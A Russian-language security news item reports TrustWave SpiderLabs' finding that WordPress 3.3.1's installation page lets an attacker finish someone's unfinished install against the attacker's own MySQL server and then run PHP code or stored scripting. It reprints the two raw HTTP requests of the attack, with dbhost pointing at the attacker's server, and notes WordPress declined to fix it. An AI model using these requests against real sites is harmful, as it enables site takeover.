Специалисты TrustWave SpiderLabs обнаружили потенциальную уязвимость в установочной странице WordPress. При установке жертвой WordPress на инстанс MySQL злоумышленник может получить возможность выполнения PHP-кода и межсайтового скриптинга. Все проблемы характерны для версий движка, начиная с 3.3.1.
В отчёте TrustWave SpiderLabs содержится описание найденных багов. Так, страница инсталляции setup-config.php
предлагает возможность установить WordPress на локальный или удалённый инстанс MySQL. Однако, возможна ситуация, когда злоумышленник хостит свой собственный MySQL-сервер и завершает установку WordPress вместо пользователя, не имея реальных прав доступа.
TrustWave SpiderLabs даже публикует сценарий атаки.
1. Злоумышленник хостит MySQL на W.X.Y.Z, порт 3306.
2. Злоумышленник осуществляет POST/GET запросы для установки туда WordPress.
Request #1
----------
POST /wp-admin/setup-config.php?step=2 HTTP/1.1
Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://A.B.C.D/wp-admin/setup-config.php?step=1
Cookie: wp-settings-time-1=1322687480; wp-settings-1=m9%3Do
Content-Type: application/x-www-form-urlencoded
Content-Length: 81
dbname=wordpress&uname=jsmith&pwd=jsmith&dbhost=W.X.Y.Z&prefix=wp_&submit=Submit
Request #2
----------
GET /wp-admin/install.php HTTP/1.1
Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://A.B.C.D/wp-admin/setup-config.php?step=2
Cookie: wp-settings-time-1=1322687480; wp-settings-1=m9%3Do
If-Modified-Since: Wed, 07 Dec 2011 16:03:33 GMT
После того, как инсталляция завершена, злоумышленник может через «Редактор тем» вставить в блог вредоносный PHP-код. Кроме того, контролируя хранилище базы данных, можно использовать и Javascript, что приводит к возникновению постоянного межсайтового скриптинга.
В рекомендациях также подчеркивается, что злоумышленник может посредством JavaScript’а подставлять свои собственные значения в поля dbname
, dbhost
или uname
.
Между тем, официальные представители WordPress сказали, что не будут исправлять указанные недочёты. По их словам, вероятность того, что пользователь, который начал установку WordPress, не завершит её в максимально короткое время слишком мала. У злоумышленников остается слишком мало времени, чтобы воспользоваться найденным уязвимостями.